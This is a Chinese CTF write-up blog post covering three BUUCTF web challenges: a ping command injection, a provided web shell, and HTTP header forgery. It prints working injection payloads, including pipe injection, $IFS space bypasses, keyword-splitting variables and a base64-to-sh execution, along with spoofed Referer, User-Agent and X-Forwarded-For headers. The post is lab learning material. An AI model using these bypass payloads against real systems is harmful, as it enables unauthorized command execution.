【BUUCTF】PingPingPing

Itachi

前言

已经坚持了半个月了,有十多天一直在写杂项,直到学长委婉地告诉我杂项没啥技术性,就流量分析有点用,建议我学pwn,所以这几天我开始做web了
我会一直坚持下去
加油!

PingPingPing

分析

img

想到昨天做了一个ping加Linux命令,今天这个也可以试试
?ip=127.0.0.1|ls
img

尝试拿flag ?ip=127.0.0.1|cat flag.php
img

看来空格被禁了,尝试绕过
img

换个绕过方法,这里选择先拿index.php ?ip=127.0.0.1|cat$IFS$9index.php
img

有了,但正则不全,应该可以查看源码
img

可以看到绕过了各种符号、空格、bash和flag,而且flag是顺序匹配

构造payload

内联执行:反引号在linux中作为内联执行,执行输出结果

1
?ip=127.0.0.1|cat$IFS$9`ls`

如此会 catls的结果
img

的确用这种方法拿到index.php了,但不见flag,应该藏到源码里了
img

得到 flag{8c34c264-96a1-42c7-b5cf-7af02fd8a862}

其他方法

既然是绕过,就有多种绕过方法
上面提到需要绕过空格,我用了两种绕过方法,以下是绕过空格的整理:

1
2
3
4
5
6
7
{cat,flag.txt} 
cat$IFS$9flag.txt
cat${IFS}flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
//\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过

回到这个题
看源码得知顺序匹配了flag,那也可以交换flag四个字母的顺序
b=ag.php;a=fl;cat$IFS$9$a$b

还有一种方式可以绕过flag匹配,那就是编码
cat flag.phpbase64加密
原命令为:echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
用空格绕过法填充空格
echo$IFS$9Y2F0IGZsYWcucGhwCg==$IFS$9|$IFS$9base64$IFS$9-d$IFS$9|$IFS$9sh
总之方法很多,平时练题要多思考,感觉哪个题有意思可以做完后去找找别人写的WP,说不定有新收获

白给的shell

很无聊的一道题
img

帮他找菜刀
img

打开根目录拿到白给的flag
img

得到 flag{f663edb8-d17f-4f6a-8845-dfa6ae0ca44a}

Http

img

一看到这就知道是套路,直接看源码
img
img

Repeater

It doesn't come from 'https://Sycsecret.buuoj.cn',那就把referer改成 https://Sycsecret.buuoj.cn
img
img
Please use "Syclover" browser,那就把User-Agent改成 Syclover
img
img

No!!! you can only read this locally!!!,那就添加 X-Forwarded-For: 127.0.0.1
img
img

得到 flag{33445841-508a-4a08-872b-52f013612cee}

  • 标题: 【BUUCTF】PingPingPing
  • 作者: Itachi
  • 创建于 : 2021-11-02 23:53:26
  • 更新于 : 2021-11-03 03:12:59
  • 链接: https://blog.tarchi.top/ctf/【BUUCTF】PingPingPing/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论